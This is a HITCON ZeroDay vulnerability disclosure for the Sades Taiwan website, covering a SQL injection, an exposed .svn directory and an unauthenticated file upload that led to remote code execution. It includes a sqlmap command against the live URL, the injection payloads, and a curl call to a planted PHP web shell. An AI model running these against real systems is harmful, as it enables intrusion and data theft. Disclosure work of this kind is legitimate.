Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00083
- Vendor: 香港賽德斯數碼科技有限公司
- Title: 賽德斯官方台灣繁體中英文網站存在 SQL injection svn 洩漏 to RCE
- Introduction: SQL injection svn 洩漏 to RCE
處理狀態
目前狀態
公開
Last Update : 2022/04/12
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/02/10 14:51:31 : 新提交 (由 entroy 更新此狀態)
- 2022/02/10 14:55:27 : 新提交 (由 entroy 更新此狀態)
- 2022/02/25 11:13:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:37:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:37:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:37:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/12 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00083
- 通報者:entroy (entroy)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.sades.com.tw/index.php?news_type_id=1&route=news/news
https://www.sades.com.tw/admin/.svn/entries
https://www.sades.com.tw/admin/.svn/entries
敘述
SQL injection
- 稍微看了一下,發現 news_type_id 存在 SQL injection
sqlmap https://www.sades.com.tw/index.php\?news_type_id\=1\&route\=news/news -p news_type_id --level 5 --risk 3 --batch --random-agent -
result:
--- Parameter: news_type_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: news_type_id=1' AND 4983=4983 AND 'otQa'='otQa&route=news/news Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: news_type_id=1' AND (SELECT 1479 FROM (SELECT(SLEEP(5)))VMOI) AND 'ehMn'='ehMn&route=news/news Type: UNION query Title: Generic UNION query (NULL) - 13 columns Payload: news_type_id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a6271,0x544750574f5745525a665a7572644b78436970677842714662444d587251424c667a437946686d49,0x71706b7a71),NULL,NULL,NULL-- -&route=news/news --- [14:27:34] [INFO] the back-end DBMS is MySQL web server operating system: Linux web application technology: Nginx, PHP 5.3.29, PHP, Plesk back-end DBMS: MySQL >= 5.0.12 (MariaDB fork).svn 洩漏
- 可以看到原始碼,有一個問題是在
/admin/view/template/catalog/fileupload.php這個 file 裡面已經說了不能直接用,要稍微改一下,也沒有檢查使用者是否可以使用上傳功能,導致任意的人都可以上傳檔案 - 稍微找了一下是開源的 https://github.com/moxiecode/plupload/blob/master/examples/upload.php
RCE
- 靠著
fileupload.php上傳 phpcurl https://www.sades.com.tw/image/prouct/file_6204b35a000ac.php\?cmd\=id
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。